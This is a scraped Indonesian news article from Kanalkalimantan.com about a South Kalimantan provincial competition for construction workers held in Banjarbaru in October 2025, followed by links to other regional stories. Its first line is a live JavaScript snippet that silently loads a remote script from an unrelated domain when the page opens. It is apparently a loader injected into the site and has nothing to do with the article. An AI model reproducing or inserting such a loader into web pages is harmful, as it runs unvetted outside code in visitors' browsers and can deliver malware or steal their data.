(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Puluhan peserta dari empat kabupaten dan kota di Kalimantan Selatan mengikuti Lomba Tenaga Kerja Konstruksi Indonesia Tingkat Provinsi Kalsel Tahun 2025 di Banjarbaru, Senin (27/10/2025).
Kegiatan ini digelar Pemerintah Provinsi Kalimantan Selatan melalui Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) Provinsi Kalimantan Selatan guna mendorong peningkatan kualitas sumber daya manusia di bidang konstruksi.
Peserta berasal Kabupaten Banjar, Tapin, HST dan Kota Banjarmasin merupakan tenaga kerja konstruksi terbaik hasil seleksi di tingkat daerah yang siap menunjukkan kemampuan teknis dalam berbagai aspek pekerjaan konstruksi.
Baca juga: Telur Ayam di Banjarbaru Tembus Rp33.000 per Kg, Ini Penyebabnya
Plt Kepala Dinas PUPR Kalsel, M Yasin Toyib, menjelaskan bahwa lomba ini merupakan tindak lanjut dari kegiatan serupa yang sebelumnya telah digelar di tingkat kabupaten.
“Kemarin sudah pernah juga di tingkat kabupaten, salah satunya di Batola. Nah sekarang kita gelar di tingkat provinsi,” ujar Yasin.
Menurut dia, kegiatan ini tidak hanya perlombaan, tetapi juga menjadi wadah untuk meningkatkan kompetensi dan profesionalisme para tenaga kerja konstruksi di banua.
Baca juga: Renang Banjarbaru Rebut Empat Medali dari OWS Porprov XII
“Dari lomba ini, yang utama kita harapkan adalah peningkatan kompetensi.
Selain itu, kita dari Dinas PUPR juga mengampanyekan dan menyosialisasikan pentingnya Sertifikat Kompetensi Kerja (SKK) bagi para pekerja,” jelas dia.
Ia juga menambahkan bahwa aspek keselamatan kerja menjadi salah satu fokus utama dalam lomba ini.
“Kita ingin para tukang juga memahami aturan-aturan yang berlaku dalam kegiatan konstruksi, termasuk soal keselamatan kerja dan kepesertaan BPJS Ketenagakerjaan,” ungkap dia.
Baca juga: Uang Daerah ‘Parkir’ Rp5,1 Triliun, Bank Kalsel Ternyata Salah Input
Lomba ini menampilkan berbagai keterampilan teknis, salah satunya pembangunan miniatur rumah lengkap dengan struktur dasar seperti dinding, atap, instalasi listrik, dan sistem pembuangan air.
“Kalau rumah full bisa sampai satu bulan lebih pengerjaannya, jadi untuk lomba ini kita buat versi mini, tapi tetap lengkap sebagai percontohan,” ujar Yasin.
Meski baru diikuti empat daerah, Yasin berharap ke depan seluruh kabupaten/kota di Kalimantan Selatan dapat berpartisipasi.
Baca juga: Emas Perdana HSU dari Gulat, Judo Sumbang Dua Medali di Porprov XII Kalsel
“Tahun ini sebenarnya rencananya ada 13 kabupaten dan kota, namun karena waktu dan anggaran yang terbatas, hanya empat yang bisa ikut. Tahun depan kita harapkan semuanya bisa berpartisipasi,” harap dia.
Para pemenang lomba di tingkat provinsi ini akan mewakili Kalsel di ajang regional Kalimantan, untuk bersaing dengan tenaga kerja konstruksi terbaik dari provinsi lainnya di Kalimantan. (Kanalkalimantan.com/MCKalsel/kk)
Reporter: kk
Editor: Dhani
Upah Minimum Provinsi (UMP) Kalimantan Timur 2026 telah ditetapkan dan ditandatangani oleh Gubernur Rudy Mas’ud… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More
KANALKALIMANTAN.COM, BATULICIN - Meski tanpa pertunjukan pesta kembang api, malam pergantian tahun 2025 ke 2026… Read More
KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota (Pemko) Banjarbaru mengumumkan Upah Minimum Kota (UMK) berdasarkan Keputusan Gubernur… Read More
KANALKALIMANTAN.COM, AMUNTAI – Bupati Hulu Sungai Utara (HSU) H Sahrujani mengharapkan agar Kabupaten HSU pada… Read More
KANALKALIMANTAN.COM, PALANGKARAYA - Persatuan Wartawan Indonesia (PWI) Provinsi Kalimantan Tengah menggelar Konferensi Kerja Daerah (Konferda)… Read More
This website uses cookies.